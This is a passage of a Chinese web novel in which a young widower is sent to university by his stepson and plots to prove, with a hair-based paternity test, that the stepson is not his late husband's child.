接下来的几天温宝一直战战兢兢,当然坏事也没少做,边干坏事边警惕等待着席秦什么时候出现又抢走他的包包。
直到三天后,他接到席秦的消息,让他去京都有名的B大报名,他才知道萦绕他多日的,让他毛骨悚然的惩罚是什么。
温宝被席秦不知道用什么方法塞进了B大学习。
这对于死老公坐等遗产的温宝来说堪称晴天霹雳!
7. 被送去上学的温宝
温宝甚至不是B大的正式学生,只在B大学习一段时间之后得到一个社会人士学习的毕业证书,这就算结束了。
大概是再大的权势,再多的金钱,都不能让这座知名学府开后门让温宝进去读书。
温宝简直不敢相信,席秦竟然会给温宝安排这样的学校,上完学校后甚至连学位都拿不到,证书都和别的同学有差别哎。
不像张亨通给他安排的国外一个什么(一长溜英文,很高大上,温宝不会读)大学,温宝去国外旅游了三个月,就成功拿到了大学毕业证。
后来说给闻鹤哥和他的朋友们,一个个只是笑,全都不认识,就更显得高大上了。
相比之下席秦的安排性价比就实在太低了。
哎,就这样席秦还在国外上的什么红橙黄绿彩虹植物大学,很有名很厉害的学校,但竟然连张亨通都比不上吗?
席秦怎么一点社会经验都没有呢。
温宝经过仔细思量,最终摒弃了名校的诱惑,决心向席秦强烈抗议,但随着这个消息一起到的,还有席秦派过来的六七个大汉。
温宝是什么人啊,竟然需要六七个大汉来制服他,温宝为席秦十分看重他感到极度震惊和隐秘的自豪骄傲,仿佛小小的温宝有大大的威胁似的。
温宝很快就苦中作乐,想到席秦这种反应,看来他先前两次大闹都十分有作用,起码告诉了席秦他不是好惹的。
温宝看着壮汉在外面等他,仔细衡量好他们之间的体型差距,果断往屋里一躲。
他怒不可遏,当即给席秦去了电话:“席秦!你疯了是不是!我不要去上学,凭什么让我再回去上学,这样很丢人的知不知道!你这么做对我太不公平了。”
席秦:“你不想去?”
温宝:“当然了!”
席秦:“那太可惜了,我为你安排的还是金融专业,你不是想上公司上班?看来你也没那么想去啊,唉,席氏的夫人只能当一个二十岁的文盲了。”
温宝暂时来不及计较席秦说他是文盲的事,他耳朵里只听到了“金融”两个字,好高大上的样子,温宝脑海里已经出现自己穿着黑西装打着领带在商场里叱咤风云的样子,顺便把席秦狠狠地踩在脚底。
温宝隔着电话挠了挠头,怒气被一盆水哗地浇灭了,直冒热汽。
明明席秦不会看到,但他还是难以控制地窘迫,坐立不安起来:“啊,哦,是是这样啊,那……那我勉为其难去吧。”
反正家里也没多少人了,老公都死了,温宝对于这里也没什么好留恋的,想不到席秦还算有良心,做了一件好事,那以后还要不要针对席秦呢,不行得席秦向他认输,主动放弃才行……温宝想东想西,很快说服自己。
温宝相当快的接受了席秦的安排,这让席秦颇有些意外,他以为温宝还要犟上一会儿,才会扭扭捏捏地答应。
席秦挂断了电话,懒散地靠在沙发靠背上,他身边从小玩到大的几个富家少爷带着探究语气问:“是你那个年轻‘小妈’?”
席秦嘴角勾着笑,目光还放在已经熄屏的手机上:“我给他安排了学校,找些事给他做。”
“嚯,他跟你闹的这么厉害,你还给他安排学校,也算是尽了孝心了!”一个吊儿郎当的年轻男人笑着调侃道。
席闻鹤手段狠厉果决,很是正经端肃的一个人,这些圈子里的公子哥一个个对这个长辈又怕又敬,想不到会找一个小了他这么多的妻子,该说不说席闻鹤再怎么样也是个男人。
这事一度在他们圈子里都是茶后谈资,不过席秦在这里,谁都不好当众调笑,也就赵英喆这个席秦发小才敢这样调侃。
话头挑起,气氛活跃起来,有人问:“你们都见过他,他什么样子?听说席总对他是一见钟情……”他言辞再三修饰,说出这一番话,实际上,在他们这个圈子里流传的说法是,温宝长得实在漂亮,年轻娇俏,迷的席闻鹤晕头转向的,名声什么的全都不要了。
说这么多,他也只是好奇,好奇温宝究竟长什么样。
赵英喆哽了一下,他歪倒在椅子上想了想说:“没见过几面,席叔藏他跟藏宝似的。”他说着脸色有些不耐烦,好像回想过后,发现温宝和他并不熟悉,甚至不认识的这个事实让他有点破防,赵英喆指着角落一个男人说:“这事你问方至,席秦他小爸天天和方至妈妈在一起打麻将,方至一定清楚。”
“对啊,方至不是刚好还在B大读书,没准儿以后还要常见那个人呢。”
角落一个面皮白净,留着一头短发,看起来很像个清爽的男大学生,眉目疏朗,闻言抬头询问了旁边人什么话题,继而脸上那种向来和善的笑落了落:“温先生和我妈妈关系不错,但我不太认识的。”
只说不认识,但绝口不提温宝具体的样貌。
话说到这儿,席秦原本的好脸色也彻底没了,讨论温宝的样貌不是过分出格没礼貌的话题,但一群男人对着另一个寡夫的样貌大肆幻想好奇,这中间的种种隐秘心思就让同样身为男人的席秦意识到什么,不太爽。
可能这群公子哥们也没察觉到,他们对于温宝的探究欲实在是太盛了。
这群人里向来以席秦为首,席秦出国留学时也不例外,眼看席秦彻底冷下脸,众人就立刻不提,安静下来。
席秦眼神晦暗如冰,沉沉地看着赵英喆他们,竟有些陌生。
他们许久不见,赵英喆还当席秦是从前那个潇洒不羁的席秦,可如今一看,席秦气质大变,早已更深沉莫测,越来越靠近他们席家人的样子。
参与起哄的人心下后悔,仔细回想觉得方才讨论温宝实在有些轻佻,正想着怎么跟席秦解释道歉,便见席秦倏地一笑,挑着嘴角,端起酒杯笑骂道:“当我的面议论我小爸,真把我当孙子是不是,一回国就拿我开涮,再这样玩我可就恼了。”说到最后口气逐渐认真。
“兄弟错了,错了。”
“可不能让席秦难做,这话以后都不提了。”
“哎说点开心的,听说席秦上高中时候的事吧,跟人网恋被骗了好几万,这事……赵英喆当时也知道吧。”
赵英喆也笑着迎合:“我当然知道,他当时买车把钱花光了,还是我借了一部分给他,早知道他网恋给别人转钱,我就不借他了,人家那小男孩还小席秦两岁呢,被人家未成年给骗了。”
久远但很清晰的记忆,席秦猝不及防被人提起这么一段过往,神情一愣,借酒杯半掩住神情。
“靠,还有这事呢,那席秦不气,同是天涯沦落人,我上个月刚被一小网红骗走一辆车,真是被辜负真心了。”
“你那一月一换的对象就别说了,人席秦可是初恋,你能比吗,当时可是玩真的,一听小男友要钱车房都挂着要卖了。”赵英喆暗暗观察着席秦的神色,随口补充。
原本以为温宝和席秦作对,席秦会厌烦他,可如今看
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席秦对他这位小爸的态度竟还算和善,席秦是这种以德报怨的性格吗?古怪。
难不成他爸猜的是对的?赵英喆想,席秦真是和之前大不一样,试探不出来啊。
*
席秦派来的几个壮汉,早就熟悉温宝的脾性,还想着温宝若是反抗,他们该怎么在不伤到温宝的情况下,把人扭送到学校,但没想到,温宝只不过接了一通电话,就老老实实把他们请到家里去。
说到底还是他们的雇主有办法,实在让他们心悦诚服,男人们松了口气,还想着这趟活儿实在轻松,等把这个弱不禁风又矫揉造作的漂亮贵夫人送到学校就万事大吉,可以提前下班。
但没想到,这事远没有结束。
壮汉们见温宝服软于是嘱咐温宝收拾行李床褥,到学校住宿要用。
“什么住宿,天呐你们在说什么呀!”温宝再次不可置信,看着壮汉们一个个摸不着头脑的表情,算是清楚了。
温宝上学还要住宿!
这事他可不知道,他打给席秦,席秦竟然也没有跟他说。
在学校住可完全不自由了。
班主任!还有班主任管着,他以后不能踏出校门半步了。
这是圈套!他中圈套了!席秦故意给他找个学校,是为了摆脱他,用名校、专业诱惑他!
恍然大悟察觉席秦目的的温宝大为震撼。
原来竟还有席秦这种心机深沉的人,竟然一点都不逊于他。
他刚才还以为席秦良心发现,要做出一些让步,原来根本不是!
好歹毒的心计!
他故意把住宿的事情隐藏起来,好让温宝乖乖去上学。
却没想到那群保镖说漏了话,让温宝敏锐的察觉到了,如此奸计败露。
温宝再也不会相信席秦的话了,席秦就是个混蛋,温宝从第一次见到席秦开始就知道。
温宝现在还记得,他最开始知道老公有一个儿子,是很想做好一个“后妈”的,但是当他友好地和席秦打招呼,却被人直接无视,甚至备受讥讽。
可怜的温宝被认为是贪图他老公的钱财。
是,温宝是很爱钱,但是他只爱老公的钱这还不能说明什么吗?
席秦什么都不懂,还一味欺骗针对温宝,这不是席秦的错又是什么。
温宝内心惶惶又带着愤怒,席秦是真把他当傻瓜了,真以为他看不出来席秦的用意吗。
于是很快,不知道哪句话触怒了温宝的保镖们被温宝吵着闹着要求见席秦,他们纳闷温先生不是早就和雇主谈拢去上学了,怎么现在又反悔了。
但温宝要求,态度坚决激烈,他们不得不给席秦再次打去了电话。
于是刚刚接过温宝电话没多久以为已经搞定温宝的席秦,再次感受到温宝的闹腾劲儿有多大,他有些头疼,同样不明所以,只说:“等我回去。”随后急匆匆告别了朋友。
等在家里的温宝一听到席秦过来的汽车轰鸣声,嗖一下就从沙发上站起来,雄赳赳气昂昂,龙卷风一样飞出去,不等席秦下车,就一千米冲刺冲到路边。
“你终于回来了!可让我好等你!”温宝叉着腰像个小公鸡和席秦对峙。
席秦还以为温宝上来要骂什么,谁知是这么类似撒娇调情的话,他下车就站在路边,身高高温宝一截,穿的得体妥当,比一身毛绒睡衣的温宝不知道高档多少。
“怎么,你想我了?”
8. 被调戏的温宝
温宝还没摆出个更帅气的pose秒杀掉席秦,就听见席秦嘴里又胡说八道,他嘴唇一张一合就反驳:“你想什么呢!我问你,你凭什么给我安排住宿,你就是故意的,你忌惮我,你害怕我,故意把我支开!”
席秦很欠揍,歪着头应承:“哎你猜对了,是想支开你,但不是忌惮你,是你太笨了,在我面前碍手碍脚,智商太低,送你去学习学习。”
“谁……谁智商低了,你少看不起我了!”温宝气得话都结巴,你可以说温宝丑,因为他确实长得漂亮,但你不能说他不聪明。
几乎是立刻,温宝眼圈立刻红了,有钱人没一个好东西!尤其是又有钱又聪明的有钱人,席秦竟然这么瞧不起他,凭什么,凭什么啊!
温宝结巴着,稍微带一点哽咽反驳:“你自己没能力,就不要怪我,老公的遗产谁抢到就是谁的,你一个,一个……”假少爷凭什么说我!
温宝纠结着还是没把大杀器说出来,他觉得他简直有勾践卧薪尝胆的隐忍谋略,这种情况下都没说出来,以后必成大器。
“你活该,你活该!”温宝像个小狗,一汪一汪地装腔作势咬人,实际上外强中干,真让他去咬人估计连牙都不敢呲,“你在公司站不住脚都是你活该!你对我不好,公司的事务就会烦死你!我也会烦死你!加倍!”
死上加死!
温宝其实很清楚席秦的处境,刚回来的老总儿子,在公司能有多大威慑,所以温宝才要趁这段“黄金时间”和席秦争抢,你看嘛,温宝根本不笨啊。
席秦身上那种松弛的气质已经完全消失了,又再次绷起一张脸,很冷酷冷漠:“所以呢,我让你去上学你就去,席闻鹤临死前应该给你说过要听我的吧,怎么,你亲亲老公的话也不听了?”
温宝本来还要说更伤人的话的,但他显然比不过席秦,他脸上凶狠的表情一扫而空,转而目瞪口呆,什么临死前,说的好冷血。
他知道席闻鹤死了,但是没有见到尸体,这种感知就像是隔了一层温暖的厚厚的纱,可是席秦说临死前,一下子把席闻鹤临走前的那一晚笼罩上一层腐朽的血腥的气味。
温宝的眼泪不受控制涌出来,他撇着嘴,狠狠擦着自己的眼睛,抽噎着:“你说话……呜……怎么这么难听啊!”
他自顾自一个人流泪哭泣,又故作坚强的拿袖子抹眼泪,明明是他先去招惹席秦,现在反而被对手轻易用言语击败了。
席秦也想不到,他当然没有胜过温宝的快感,毕竟一个笨蛋,胜过他是什么很有成就的事吗。
“至于么。”席秦的语气很平淡,但他的表情却和他的语气完全不符,眼神深深地看着温宝,复杂幽深。
席秦甚至还从口袋里掏出一支烟点燃:“别哭了,别人看见还以为我让你怀孕了。”
这是不是调戏呢,沉浸在情绪里大脑停滞的温宝只来得及发出这个疑问。不过温宝眼泪啪嗒啪嗒掉,哭得更像是被对面渣男辜负的小可怜了。
如果外面有蚂蚁这种小生物的话,恐怕已经惊恐地准备起诺亚方舟这种东西了,应对眼泪末日。
外面有些风,轻轻环绕在两人身边,带起席秦手里烟支的烟雾,薄薄的一层青灰色,模糊了席秦的脸,隐隐约约的,温宝看出一些席闻鹤的影子。
可能是睹新人思旧人,也可能是在席秦这种坏蛋身上看到了心爱老公的影子有些晦气,温宝哭得更凶了,一边闻着烟味咳了两声,一边哽咽着冲着席秦用力喊:“呜呜,我老公他不抽烟!”
席秦又要被逗笑了,明明知道笑声一出温宝更要生气,但席秦还是泄出一两声闷笑:“……我又不是你老公。”
然而他这样说着,环顾四周,还是用手指捻灭了烟头拿在手里,用纸巾擦干净。
温宝听见笑哭得更凶,完全闭上眼睛,哭得像个小孩子,再哭下去要没完没了,席秦像是很熟悉温宝一样,最终先低头转移话题:“电话里不是讲好了吗,你去上学,金融,你不学了?怎么又闹?”
温宝思绪果然被引开了:“还,还不是你命令的,我要……呜呜住宿了,我不要住学校,你为什么这么坏!你故意的……”
温宝磕磕巴巴地说着自己未来会多么不自由,学校会管的很严,班主任不喜欢他怎么办,在学校他不能玩手机怎么办。
就这样仰着脸,在席秦面前控诉,哭着闹着不去上学,把自己对大学的猜想都悉数说给席秦听。
席秦听得一愣一愣的,说实话,他又想笑了,但憋的胸疼也没笑出声,他知道些温宝的底细,知道温宝大概没上过大学,但他没想到温宝会这么想,这么……可爱。
他想纠正解释,但想了想终究是坏心眼占据了上风,于是只是强行憋着笑,一脸无辜加惊讶说:“你不知道啊,上大学基本只能住宿,特殊情况才走读的,啧,看来你只能放弃读大学了,哎,这样公司想进也进不了了。”最后的语气很幸灾乐祸,一下子把温宝引进错误认知的深沟里。
温宝确实不知道,他还以为大学能走读呢,原来走读也不能,看来比他想象的还要严格,他心下惊恐,但进公司这个胡萝卜在前面吊着他,就什么都不顾了。
温宝一袖子抹了抹泛红沾泪的脸,一脸思索,双眼都发直盯着路边植被,他吸了吸鼻子呆呆问:“那,那我这种社会闲散人员也必须住校吗,我不是不用拿那么多证书吗?这是不是特殊情况?”
温宝关键时候还真有几分聪明,本来就是逗弄温宝的席秦一顿,在温宝殷切的眼神下,故作妥协:“好吧,那我问问校长吧。”
这种小事还用得着问校长吗,不过是席秦说出来逗温宝玩的,温宝也确实没听出来,老老实实站着乖乖点头眼巴巴看着席秦,脸蛋还红彤彤的。
席秦也确实给学校打了电话,得到不强制住校,但样子要做出来的消息。
温宝终于放下心,舒了口气,哭了一通他头都发昏了,原来不用必须住在那里,吓死温宝了。
“你要是早问清还有这么多事吗?”温宝见事毕,冲席秦翻了个白眼就往家里走。
席秦这真是干了累活还当不得好人,他跟在温宝后面,想着什么时候温宝发现他在学校可以玩手机。
这样想着,席秦连温宝先一步进了家门,并哐一下关上门都没发现,高挺的鼻子险些和门板来了个亲密接触。
席秦心有余悸挡着鼻子后退,在外面喊:“不让我进去?”
“你进来干嘛!你进来干嘛!”刚进房子的小狗立马就嗷嗷叫了,“这是我家没有你站的地方,你可以走了!”
温宝得到好处就赶人,势利的不留后路,好在席秦也不在意这个,在外面找个台阶曲腿坐下。
温宝看着席秦毫无形象地坐在石板台阶上,丝毫不像个富二代贵公子,他终于肯正眼看席秦一眼,但是很快他好像又因为看席秦这一眼感到别扭,立刻在心里嘁了一声,想到真是个二流子,和他老公一点都不像,他老公才不会往地上坐呢。
温宝作弄人还是有一套,又是大眼睛一转,把门打开,勒令席秦不许进来,就指挥着保镖们搬行李。
壮汉们刚看完一场好戏,眼看雇主都屈服了,他们也任劳任怨任温宝指挥了。
不过学生住宿的东西能有多少,温宝也不在那里常住,他们丝毫没放在眼里。
然后最终的结果还是证明他们还是掉以轻心了。
这栋整洁奢华的别墅里从哪儿能拖出来那么多行李箱,让温宝簌簌地往里面填衣物配饰。
连床褥都填了两三套进去。
“温先生这些都带去吗?”
“当然了!”温宝叉着腰,唯恐保镖阻止他一样,连忙摆出一副不好惹的样子,其实不过色厉内荏。
“我只能睡真丝被,不然我会过敏的!”
温宝的人设是又有钱又娇气的,他不睡真丝,还能睡什么,难道温宝要说自己很好养活,哪怕是垃圾堆里僵硬沾满污垢的废弃被子他也能照裹无误?
不,温宝现在是有钱人了,他绝不允许自己露出半点穷酸样。
温宝找了个高高的地方,站在楼梯上指点江山:“这些衣服我要穿,这些小物件要用来搭配,鞋子帽子,哦,还有杯子碗碟一个都不能少。”
活脱脱一个精致造作的贵夫人。
无可奈何,他们对视一眼束手无策,最终以一种充满渴望拯救的眼神看向门外的席秦。
席秦站起来,肩宽腿长怎么看都像模特,只是带着笑意说:“随他去。”
得到命令男人们开始搬运,而悄咪咪躲在他们身后支高了耳朵偷听的温宝,在得知席秦的态度后,头脸一仰,很傲娇地冲他们小小哼了一声,翘着尾巴背着手回到卧室里。
温宝纠结了很久,才决定没把方伯做饭阿姨连带老公的遗像都带到学校去。
唉,他现在是大学生了,可是要好好学习的,学校不都管的很严嘛,笨笨的温宝开始困扰,他怀疑自己带的东西能不能在学校活到第二天清晨,毕竟不都算作违禁品吗。
可他同时又不可控制地雀跃忐忑起来,大学,还是B大,那是什么样子的呢,是和他以前上的高中一样吗,什么都被班主任管着。
那他可要和班主任搞好关系了。
温宝高中上了一半就辍学了,这是一个秘密,连张亨通都不知道,他一直都说自己是高中毕业上了个大专,大专没毕业辍学了。
温宝不好意思说自己文化水平
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低,说出来平白让别人瞧不起他,尤其是席秦,他更不能在席秦面前低一头。
他去上学还是有好处的,等他把自己变聪明了,读一个博士回来狠狠地压上席秦一头。
温宝幻想的十分美好,但读书总归是个长期的活计,他得从席秦手里把遗产抢到手,这才是他最主要最重要的目标。
找席秦麻烦只不过是温宝的手段罢了,看着楼底下行李箱都装好,蓄势待发,温宝终于给了席秦眼神,趿拉着鞋子哒哒哒走到门口,朝着席秦发号施令:“你也过来帮忙搬。”
席秦早就猜到温宝要这样摆弄他,心下叹息一声,终究看在温宝今天哭了太多的份上心软,进来了。
屋内的壮汉又纷纷互相对视一眼,有人出声:“先生您不用……”
“搭把手搭把手。”席秦抬手阻止,他今天不卖卖力气温宝是不会过去了。
好在几个行李箱,对于席秦来说远远算不上重量。
他常年在国外住,连体型都朝着外国人靠近,手臂粗壮,估计能有温宝大腿那样粗了,但穿着西装看不太出来。
温宝当然不知道,恐怕有机会,他还要不自量力和席秦较量较量,扳扳手腕呢。
温宝总算使唤席秦一次,得意的不得了,失意一扫而空,他两只手空空,转头就坐在车子里,眼神里闪烁着的兴奋期待的光,手掌很紧张地半蜷着揪着一点点裤子。
席秦看着,心里说不上来的有些闷,因为没有接触过所以好奇所以期待。
温宝没有上过大学,这个席秦知道,他现在的学历是张亨通弄的一个国外的野鸡大学。
席秦逐渐发散思维,温宝没有上过大学,那高中呢,有上完吗?
如果没有,是因为钱……辍学了是吗。
怪不得他当时那么缺钱。
席秦长长地呼了口气,转头看向窗外快速闪过糊成一团团的绿色色块,剪影阴暗深沉。
*
如此一路顺利到达校门口,温宝头都不回进了学校。
有人接待他,说是他的辅导员,要领着他去宿舍。
辅导员?温宝心里直打问号,他不清楚不了解,但他不问,唯恐自己露了怯,成为有钱人以来,他总是容易丢脸。
于是温宝只是在背后偷偷拿手机去查。
一点点手机的幽光映在温宝略显懵逼的脸上,他脸白,那些亮光是什么颜色都看得清楚。
搞了好半天,温宝才弄清楚大学和高中的教育模式一点都不一样,不收手机也没班主任,这些席秦竟然没告诉他,席秦不是上过大学吗?
他又是故意的!温宝再一次反应过来,席秦故意不说就等着温宝出丑!
太可怕了席秦!温宝彻底被刷新三观。
他正要找席秦麻烦,结果回头一看,席秦早就没了踪迹,只剩几个保镖还跟着他。
席秦是怕温宝又使唤他吗?又被他逃过一劫!
思索间,他被领到宿舍,席秦安排的不错,还是双人学生公寓。
导员是个雷厉风行的女人,她推开门介绍:“这里除了你还有一位同学,是学数学的,现在没在宿舍里,大概去上课了,我已经通知过他了,你安心住在这里,诺,班长微信,你加上,之后发课表给你……明天正式上课。”
辅导员语速很快,温宝晕头转向地在辅导员指使下下载软件课表,又派人去领书,花了几个小时弄好所有事。
温宝松了口气,等再一回头,这次他发现自己连带十几个行李箱被丢在宿舍里。
保镖们都和席秦一样,神不知鬼不觉地走了。
只剩下温宝,还有他强令要求带来的行李箱。
温宝人一愣,连忙咚咚咚跑到窗户边朝着那一群黑衣背影大喊:“怎么会这样!你们都回来!你们都给我回来!”
但远处渐行渐远的人们根本没有听到,只吵的楼下咚咚拍窗户警告:“楼上吵什么吵,有病吗!”
温宝本来张大了嘴巴叫喊,楼下一警告,他立刻噤声,不敢出声,怂唧唧地转身拉闭窗户,装作宿舍里没有人的样子。
但温宝看见那么多行李又很想哭,哼唧了一会儿,眼圈憋红了又不敢哭出声来。
这一定是故意的,席秦知道他带了很多东西,就故意把他的人叫走,好让温宝一个人收拾,然后累死。
席秦比温宝坏多了,温宝就想不出来这么坏的主意,虽然温宝也不是好人,但相比于席秦来说,他也是妥妥的正派了。
正义(温宝)打败邪恶(席秦),不是天经地义的事吗?
温宝又获得了鼓励,席秦这么坏,温宝抢席秦手里的家产就更有底气理由了。
温宝再也不会愧疚了!
9. 自作自受的温宝
当务之急,还是收拾地上的行李,但是好多好多行李箱,几乎没有下脚的地方。
温宝往自己床位一看,一张桌子,一张床,两个柜子还有一些小储物柜,除此之外就再也没有了。
现在温宝前所未有地为自己感到悲伤后悔,早知道就不带这么多东西,他看着地上的物件一阵阵发愁。
人太坏还是不好的,总想着坑别人往往自己会掉进坑里,温宝开始忏悔,他哭唧唧地蹲在地上,一件一件把东西拿起想要放在某个格子里,可后头看看里面这样的东西有十几件,五花八门到根本没有带来的意义,温宝气得要哭,狠狠把盒子杯子轻轻重新摔进行李箱里。
学校为什么要建这么小的房子,他为什么要带这么多东西,都怪席秦,如果席秦能任由他戏耍,温宝也不至于想出这么个主意玩弄席秦。
可是往事不堪回首,温宝泄力地坐在行李箱上连连唉声叹气,这里根本放不下这么多东西。
温宝看了一会儿,只把自己的床铺铺好,生活用品摆出来,然后把最值钱的东西锁好,剩下的行李箱依旧放在屋子里,努力挤在一起,把温宝的床桌围的水泄不通。
温宝干着活儿还往那位室友位置上看了一眼,每样东西按着某种规律码的整整齐齐,大多都是黑白灰,没有多余的色调,似乎是很严肃的人,和温宝的床位形成鲜明对比,又很丢脸了。
他本来的人设应该是有钱有格调有条理的富人,然而现在却是又邋遢又爱显摆,箱子占的空间也很大,几乎要占半个屋子,看起来也很没素质。
温宝好难过,这根本不是真正的他。
室友好像不太好相处,他会把温宝的行李扔掉吗?应该不会吧。
要不要带回去一些,可是,他刚刚才气势汹汹带出来,现在灰溜溜找人送回去,席秦肯定要笑话他的,席秦故意把他一个人留在这里不就是让他难堪吗,怎么又这么坏呀!
温宝简直拿席秦没有办法,可是不等他在心里想出一个办法来,手机就来了讯息,是仇顺发的。
不知道温宝看到了什么,连那些让他困扰的行李都顾不上了,连忙出门回去了。
仇顺发约他在一个咖啡馆见面,温宝以前很害怕这种场合,一进去好像自动变成土老鳖。
但是现在兜里有钱,温宝走路都趾高气扬的,谁看不起他,他就用钱说服谁。
温宝一进门就看见人高马大的仇顺发窝在小角落里灌咖啡,他噔噔噔踩着小皮鞋过去,攥着小手提包,哐当一下放在桌子上质问:“什么叫做什么都没查到!”
仇顺发吓了一跳,一张很英朗的脸看起来瓜兮兮的,他有点愧疚,也有点委屈:“我真不会查这个,你让我找东西,哪怕是找人,都比查席秦和席闻鹤是不是亲生父子要强。”
温宝:“那我还要夸夸你喽。”
仇顺发见他皮笑肉不笑,不接话头,连忙把自己查到的统统说出来,他查了好几天,问了好几个知情人,连狗仔都问过,一直得到的都是疑似传闻,并没有确凿证据,唯一有用的就是当年这事在席家内部也闹过,不知最终结果如何,只是很快就不了了之了。
仇顺发说完就窝在对面不敢说话,只敢偷偷观察温宝的表情,温宝生气起来还挺吓人的,会把人烦死的。
温宝皱着眉,开始对自己的猜测产生怀疑:“你说当时也闹过,会不会我老公也怀疑过呢?现在一点结果都没有,是不是弄错了,席秦就是我老公的亲生儿子,不然我想不通闻鹤哥认下席秦的理由啊。”
如果是,那他和席秦争就很没有道理了,可是……温宝又觉得另有隐情,温宝心里不太愿意承认自己是在无理取闹。
好烦。
温宝急头白脸地朝服务员要了个小蛋糕嗷呜咬了一大口,他不适合想这些东西,如果温宝能想透的话,诺贝尔奖就会是温宝的囊中之物了,他用力咬着小蛋糕像是在嚼席秦一样。
“那怎么办?”仇顺发问。
温宝嚼着嚼着,忽然想到什么好主意,动作都慢下来,他大手一挥:“你别管了,这就交给我吧。”
仇顺发松了口气,但气松早了,温宝看着他,突然问:“你说你更擅长找人?”
仇顺发不明所以,点点头。
找人,温宝把小蛋糕放下,两只手放在一起,抠来抠去,泛着淡粉的漂亮指甲都被抠的凹凸不平,他盯着仇顺发像是在审视他。
好半晌,仇顺发差点被温宝盯死的时候,温宝终于说话了,声音很小,很犹豫的样子:“那席秦的事你不要管了,你帮我找一个人吧。”
“谁呀?”仇顺发拿出自己的笔记本,他下意识觉得可能还是席家的人,但温宝只是发愣,慢慢靠近他,声音也慢下来说:“我想要拜托你去找一个男人,现在应该也是二十岁。”
“叫什么?”
“现在我不知道了。”
“那长什么样子?”
“不知道,我只知道他小时候长得很白,个子比我高。”温宝的眼睛往上看,很明显地回想的表情,他的表情很空白,像是一片初生纯洁的雪,宁静但虚无,那是一种空虚,像是失去了什么重要的东西一样。
仇顺发听出来什么,把笔放下,试探问:“他是你……”
“是我弟弟,我们有十多年没见过了。”温宝低头,有些哀愁,像细雨席卷的兰草花叶。
这事仇顺发不知道,好吧,仇顺发自诩是温宝的好朋友,但是连温宝有一个失散多年的弟弟他都不知道,他做温宝的好朋友还是太失职了……呜呜好难过,温宝现在才告诉他,他是不是温宝最好的朋友了……
温宝的身世很少有人知道,就连张亨通也只是知道他是个孤儿,有个弟弟的事他从来没有提起过,仇顺发是第一个。
温宝语焉不详,只说他们八岁以前在红山县一个孤儿院住过,后来弟弟被领养走了就没有再见过。
仇顺发有点头秃,但是温宝言语哀伤,他也不敢说什么,大概温宝也觉得让仇顺发去找一个多年前的人有些强人所难,于是垂眼低声说:“要是,要是很难找,那你就别找了。”他就找过很久很久都没找到呢。
更可怜了,仇顺发吧砸吧砸嘴,看着温宝美如画的脸,觉得无论如何都不能辜负对方了,于是一口答应下来,保证要为自己最好的朋友查出一些东西。
温宝也不太抱希望,但眨巴着大眼睛说:“那太谢谢你了,我好感动。”他这样说着让仇顺发再给他打折。
好朋友明算账。
温宝和仇顺发聊了一会儿砍完价,就拿着一份资料离开了咖啡厅,他不让仇顺发再去查席秦的事,是因为心里已经又有了新的打算。他又不是蠢人,证明席秦不是闻鹤哥亲生子的方法不是显而易见吗?
做个亲子鉴定就好了,唉温宝怎么现在才想到这个办法,不过也不算晚,因此也算不上蠢人。
席秦那边的,只要温宝想办法揪根头发就行。
闻鹤哥的,闻鹤哥的怎么办呢,温宝连席闻鹤的尸体都没有看到,怎么去做鉴定呢。
他此时也只能寄希望于家里没有被阿姨打扫的很干净,他还能找到老公的几根头发。
顾不上什么上学什么威胁,温宝一想通急忙忙往家里去。
温宝在家里翻箱倒柜,好半天才在床上找到一根短发,黑硬的和他自己的不一样,温宝确定这就是席闻鹤的,他脸上出了些薄汗,发丝都湿了,一脑袋砸在枕头上。
头发都还在,温宝神情有些恍惚。
这段时间家里阿姨打扫卫生也打扫了几次,但他还能找到,大概是因为温宝特意嘱咐不要清扫席闻鹤的东西。
席闻鹤死了有一段时间了,但温宝还是能从席闻鹤的那只枕头上闻出一点他的味道。
就像他还活着一样。
温宝感伤了一会儿,也没忘记拿着头发装进小塑料袋子里,大概是他在什么地摊上买小饰品送的包装袋,此时被他带着白手套的手塞进一根头发。
就像电视剧里演的很厉害的取证法医似的,很像模像样,有专业样子。
他把头发放好,就又拿出仇顺发给他的资料,上面记录了一些席秦的未来安排,大部分都是仇顺发父亲告诉仇顺发,仇顺发再告诉温宝的。
仇家家底也厚,一些公开活动和个别私密的,仇顺发都能弄过来一些。
温
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宝清清楚楚看到今晚席秦就在一个会所里有个商业洽谈,他得赶紧堵住席秦,然后从他那里找些头发过来。
温宝自认为自己的计划天衣无缝,可不等坐车过去,家里便来了不速之客拜访。
是席泊,和席漳一样都是席卓济的私生子,是不是一个母亲,温宝也不清楚,但大概不是,因为两人性格长相都大相径庭。
席漳外放,席泊就内向的多。
不过在温宝这里统统打上了不是好人的标签。
席泊看着很平静斯文,但脸上没什么表情,看起来冷冰冰的。
席泊进来坐下,他像是不懂客套话似的,开门见山道:“我来见您,是为了席秦的事,听说您被他强行送到学校去了。”
温宝上下扫视他,很不客气:“是啊,怎么了。”
席泊像是机器人一样的脸上终于有了些细微的表情:“刚知道这件事,父亲和我就觉得他这样做太过分了,不过他向来离经叛道,您又堂而皇之地说了针对他的话,难免会报复您,说实话,公司也被席秦弄的……一团糟,我和我父亲收拾烂摊子也是焦头烂额的。”
席秦一定会闹幺蛾子出来的,温宝早就知道了,席泊席卓济他们怎么才意识到,看来也没那么聪明,温宝对于入职公司这件事还是很有把握的。
但席泊和席卓济和他说这个干什么,不会是想拉拢他吧,想至此,温宝立刻提高了警惕心,双手抱胸,往沙发背上一靠:“所以呢,你干嘛?”
席泊看他慌张,终于从嘴角露出些微笑意,像是解释:“我找您,是因为您是他继父,只是希望您能和我们一起配合着尽量劝一劝一下席秦,毕竟公司不是他一个人的公司……”
来了来了,果然是拉拢他,温宝早有防备,席卓济他根本没有什么好印象,他立刻出声打断:“别带我别带我,我可不跟你们一伙儿,你们觉得席秦不好,那就快点把席秦炒掉,免得席秦也来骚扰我!”自己的事情自己做,可别来麻烦他!
温宝拒绝的斩钉截铁顺便再教育一下席泊,他可明白的很,他手里可握着一个大杀器,怎么可能这么冒险,再说跟席卓济混在一起,不是相当于背叛了闻鹤哥嘛,温宝脑子好使着呢。
席泊说着的话被打断,声音戛然而止,但他脸上没有一丝尴尬,像是被按下关机键的机器人。
温宝以为他被他怼了,应该难堪离场了,但席泊垂下头沉默一会儿就又说:“席秦的事确实不能麻烦您了,但我想请您帮我们另一个忙,‘伊索’缺了一把密钥,所以模型修改维护有些困难,这是整个公司的事,所以父亲想您是否可以在席总这里找一找。”这里说的席总是席闻鹤,是让温宝在席闻鹤留下的东西里找一找。
